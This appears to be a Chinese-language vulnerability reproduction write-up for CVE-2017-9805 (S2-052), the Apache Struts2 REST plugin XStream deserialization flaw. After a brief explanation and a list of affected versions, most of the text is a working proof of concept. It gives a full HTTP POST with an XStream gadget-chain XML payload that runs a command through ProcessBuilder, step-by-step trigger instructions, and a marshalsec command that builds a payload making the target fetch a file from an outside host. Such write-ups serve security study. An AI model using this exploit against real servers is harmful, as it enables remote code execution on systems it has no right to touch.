(CVE-2017-9805)s2-052¶
一、漏洞简介¶
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
- | 扩展名 | Content-Type | 解析方法 |
- | --- | --- | --- |
- | xml | application/xml | xstream |
- | json | application/json | jsonlib或jackson(可选) |
- | xhtml | application/xhtml+xml | 无 |
- | 无 | application/x-www-form-urlencoded | 无 |
- | 无 | multipart/form-data | 无 |
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedgetType。
总得来说,用了Struts2-Rest-Plugin插件,这个插件是根据Content-Type或者扩展名来选择解析方法,xstream在默认情况下是可以引入任意对象的,所以他在处理xml的时候会发生RCE(xstream处理xml数据时,未对数据做任何过滤,在反序列化将xml数据转换成object时导致的RCE)。利用起来就是改Content-Type或扩展名 .xml application/xml 发恶意xml
二、漏洞影响¶
Struts 2.1.2 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
三、复现过程¶
POC¶
没回显 Response 500 但命令执行
POST /orders/3 HTTP/1.1
Host: 10.17.14.18:8081
Content-Length: 1655
Cache-Control: max-age=0
Origin: http://baidu.com:8081
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://10.17.14.18:8081/orders/3/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
Cookie: JSESSIONID=249144A9BEB141072470A76C2A61D663
Connection: close
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
访问ip:port 直接到/orders 你可以直接change method 然后加上body 改Content-type 为xml Response status code 500 执行成功了(不要怀疑 我也怀疑 后来看了一下文件 是真的)
也可以编辑之后保存 会有一个POST /orders/5 或者其他数字 有body的 改掉body 改Content-type 为xml 也可以执行
编辑完之后还会有一个/orders.xhtml?statusCode=303 change method 删掉body 改Content-type 为xml 文件名就不用改了 不然404了
payload生成 下载 https://github.com/ianxtianxt/marshalsec mvn clean package -DskipTests java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO wget www.0-sec.org -O /tmp/1.html >1.txt 注:针对XStream支持很多种Payload,找一个Struts2也支持的即可,需要找到Struts2库中适用的gedget(事实上我找了,都试了,只有ImageIO好使,文章的都是骗人了,哭了)